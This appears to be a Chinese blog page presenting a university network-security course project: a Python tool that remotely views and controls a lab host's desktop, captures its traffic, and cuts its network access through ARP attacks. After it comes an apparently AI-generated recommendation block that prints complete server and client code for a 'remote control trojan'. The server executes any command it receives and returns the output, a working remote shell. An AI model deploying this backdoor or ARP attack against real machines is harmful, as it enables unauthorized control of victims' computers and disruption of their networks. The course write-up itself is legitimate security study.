基于Python实现的远程控制主机设计

资源下载地址:https://download.csdn.net/download/sheziqiong/85621749

远程控制主机项目介绍

本文为 HITwh 网络空间安全专业网络空间安全设计与实践 I 的选题之一,主要实现了远程监控局域网内的主机桌面与网络情况、简单键鼠控制、远程断网(ARP 攻击)、数据加密传输等功能。由于本文是由 Word 直接复制到 Typora 中生成的,尽管经过了简单的修改,但仍不能保证所有格式都正确,且很多图片模糊不清,暂时没有精力解决。

概要设计

本次课程设计题目为远程控制主机,我选择的远程主机为 windows 10 虚拟机(运行在 VMWare Workstation Pro 16 中)。系统环境为 Windows 10,使用语言为 python,版本 3.9,编程软件为 VS Code。

主要功能包括:图形化界面,视频监控,鼠标键盘远程控制,记录监控时长,监控硬件资源使用,监控网络活动,中断网络访问等。为了更好的性能,还需要使用多线程模型。功能结构图如图 1 所示。

图形化界面由 pyqt5 实现,程序运行后,会启动主界面(图形界面一),然后阻塞,等待用户操作。在该界面上,用户可以输入目标主机 IP,然后开启视频监控线程、硬件资源使用监控线程和监控时长记录线程,其中前两个线程都需要使用 socket 通信。视频监控线程需要不断接收目的主机发来的数据包,将数据包的内容转换成相应的图片,然后显示在主界面上;硬件资源使用监控线程需要在另一个 socket 上接收目标主机发来的 CPU 使用率、内存使用率以及总内存等硬件资源信息,然后将其格式化后显示在主界面;监控时长记录线程需要记录当前视频监控的时长,格式化后将其显示在主界面。键鼠控制我放在了主线程,当用户在视频界面点击某个位置时,将记录点击坐标,并根据缩放比例转换成目标主机桌面的坐标,然后将相应的键鼠操作用整数表示,和坐标一起发送给目标主机,目标主机接收后将进行相对应的操作。同时,表示键鼠操作的整数将被加密,加密方法为 RSA。视频监控随时可以结束,也可以截取当前的屏幕截图并保存。

在视频监控的同时,用户可以选择性地开启网络活动监控线程。如果用户需要开启,则需要先在设置界面(图形界面二)进行过滤设置,选择需要捕获的数据包,可以从网络接口、协议类型、源主机、目的主机几个方面进行设置。开启该线程后,本机将开始抓包,并将抓到的包进行处理后显示在主界面。抓包过程中,随时可以暂停或终止,终止后可以将抓到的数据包保存为 pacp 格式,以供后续使用 wireshark 详细查看。用户也可以选择中断目标主机的网络访问,原理即为 ARP 攻击,该选项将会开启一个线程,持续向目标主机发送 ARP 包。

详细设计

Python 对于多线程的支持对用户非常友好,使用 Threading 库,可以非常方便的创建一个新线程并使其运行,也可以通过 Event () 函数来协调多线程之间的运行与阻塞。图形化界面也可以通过 pyqt5 非常方便的编写。

视频监控的主要原理为目标主机截取当前桌面截图并通过 socket 发送给本机,本机接收后将图片改变为需要的格式并显示在主界面。但是有一个主要问题就是,每次目标主机每次截取的图片大小基本都在 500KB 以上,有些甚至达到了 1MB,如果每秒截取十张,并且全部发送,那么需要的网络带宽为 5M/s 到 10M/s,网络负担明显过大。因此,可以采取差异化传输。同样为每秒截取十张图片,即每 100 毫秒截取一张,目标主机与本机刚建立连接时,截取的第一张图片将完整发送,之后,目标主机截取每一张图片后都将与上一张比较,若没有变化,则不发送,100 毫秒再截取下一张;如果有变化,则将两张图片做减法,找到有差异的部分,仅发送差异化的部分。比如,当前截取的图片与上一张图片仅有一个光标的差别,那么就会只发送该光标。为了继续优化,将再次比较差异化部分与当前截图的大小,哪一个小就发送哪一个。为了方便本机确定接收到的图片是完整图片还是差异化图片,将在数据包设置一个标志位,1 表示完整图片,0 表示差异化图片。目标主机差异化发送图片的伪代码如图 2 所示,本机的图片传输流程图分别如图 3 所示。

目标主机硬件资源的监控也是通过 socket 实现的。目标主机每两秒发送一次 CPU 使用率、内存使用率和总内存,本机循环接收,接收到后即进行格式转换与单位转换,然后填充到主界面对应的位置。本机对应的流程图如图 5 所示,目标主机发送硬件资源信息的流程图非常简单,不再给出。

监控时长的记录主要是通过 python 的 time 库实现的。当开始监控一台主机时,就会获取当前时间,并开启一个新的线程用来记录时间,每秒更新一次。伪代码如图 6 所示。

截图功能可以截取当前目标主机的桌面,这个十分容易实现,因为在把图片显示到主界面之前,一定需要用一个变量 img 来存储它,只要在按下截图按键时,立即获得当前的 img,然后保存为 png 文件即可。

在监控过程中,随时可以结束视频监控,由于视频监控而开启的各个线程也将会随之阻塞或退出。这些线程都是通过一个定义为 event_monitor 的线程事件来调度的。当 event_monitor 被设置时(event_monitor.set () 函数调用),所有线程都将开启,并正常运行,各个线程通过 event_monitor.is_set () 函数来检测对应的进程事件是否被设置;当用户选择结束线程时,将会调用 event_monitor.clear () 函数,清除该事件的设置,并断开 socket 连接,相应的进程也就会阻塞(如监控时间记录线程)或退出(图片接收线程、硬件使用信息接收线程)。结束视频监控的流程图如图 7 所示。

调试分析

在编程过程中,遇到的第一个问题是 Scapy 只能确认到 TCP/UDP 这一层,无法确定具体是 Http 协议、Https 协议或 SMTP 协议等。我最初的想法是想办法去解析更深一层,即 RAW 层的内容,从中可以获得某些字符串如’Http’,进而确定具体的协议类型。但是查找了各种资料,依然没有可行方案,最后突然意识到,可以通过端口号来判断具体的协议类型。比如,Http 协议的数据包通过 TCP 80 端口,Https 协议的数据包通过 TCP 443 端口。而通过 Scapy 可以很轻松的获得端口号等信息。于是,我使用一个字典来保存端口号(或其他整数)和协议类型的映射关系,端口号(或其他整数)作为键,协议类型作为值,当抓到一个数据包后,通过端口号来找到字典中对应的键值对,进而就可以确定协议类型。

在做视频监控模块时,我本来计算将传送的每一张图片加密,密钥使用一张随机生成的图片,将密钥图片与要发送的每一张图片的每一个像素进行异或,然后发送加密后的图片。本机接收到图片后,再次与密钥图片进行异或,得到的就是原图片。但是,由于其中的格式转换过于复杂,我做了接近三天仍没有丝毫进展,只好放弃,去做了键鼠操作的加密。www.biyezuopin.vip

另外就是发送图片的时候,在前文也叙述过,我最开始是采取整张图片完全发送的,这样对网络负担过大。我想过牺牲一些清晰度来减轻网络负担,但是为了本机监控方便,将画面缩放到原来的 0.6 倍本身就已经损失了很多清晰度,如果再压缩,那么在本机就很难看清楚画面了,监控也就失去了意义。后来在参考另外一个项目时得到了灵感,即使用差异化传输。这样,对网络的负担基本可以不需要考虑。

现在回顾整个设计过程,主要涉及到了 socket 编程、arp 攻击原理、scapy 库的使用、多线程模型、图片处理 (opencv 的使用)、RSA 加密以及基本的计算机网络知识等。在学习计算机网络时曾经做过抓包实验,但那是使用 wireshark 工具来进行抓包,本次课设则是自己手写了一个抓包工具,对抓包的原理有了更加深刻的理解。而图片处理、opencv 库和 Pillow 库的使用则是之前没有接触过的,通过这次课设,也对它们的基本使用方法有了一个大概的了解。Socket 编程是这学期刚学习的内容,虽然 python 的 socket 操作与 C 语言相比简单了很多,但作为复习来讲还是有益处的,并且也算是增加了使用经验。

测试结果

接下来我将展示远程控制主机课程设计最终实现的功能:界面展示,视频监控,远程控制,硬件资源使用信息监控,网络活动监控的开始、暂停与终止,保存截图和数据包等。www.biyezuopin.vip

首先是程序运行后的主界面,如下图所示。

输入目标主机 IP,开始视频监控。

远程控制打开浏览器并进行键盘输入(具体已在验收时展示):

结束监控,又回到初始界面:

监控目标主机硬件资源使用信息:

监控网络活动展示(打开浏览器,只抓取 Https 协议类型的数据包):

随便点击表格的一行,显示数据包具体信息:

点击断网,使用 ARP 攻击成功中断了网络访问(在图 17 中网络正常):

资源下载地址:https://download.csdn.net/download/sheziqiong/85621749

  • 7
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
远程控制木马是一种恶意软件,它通过网络连接远程主机,并允许攻击者在目标计算机上执行各种操作和命令。根据提供的引用内容,以下是一个使用Python编写的远程控制木马的示例代码: ```python # 服务端(server)程序 import socket import os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用默认地址,所有设备均可访问该服务器的6667端口 s.listen() # 对6667端口进行监听 channel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据 # channel: 新的socket对象用于标识出服务器和哪个客户端连接进行通信 # client: 客户端的IP和端口 while True: receive = channel.recv(1024).decode() # 接收来自客户端的命令 reply = os.popen(receive).read() # 执行命令,并获取执行结果 channel.send(f"命令{receive}的运行结果:\n{reply}".encode()) # 将结果发送回客户端 except: s.close() if __name__ == '__main__': attack() # 客户端(client)程序 import socket s = socket.socket() s.connect(('192.168.137.1', 6667)) # 192.168.137.1是socket服务器的地址 while True: sendstr = input("请输入消息:") s.send(sendstr.encode()) # 将命令发送给服务器 receive = s.recv(1024).decode() # 接收服务器的回复 print(f"服务器回复:{receive}") ``` 请注意,远程控制木马是一种非法行为,严重侵犯他人隐私和安全。在进行任何网络活动时,请始终遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [基于Python实现socket远程木马](https://blog.csdn.net/weixin_49472648/article/details/125308268)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值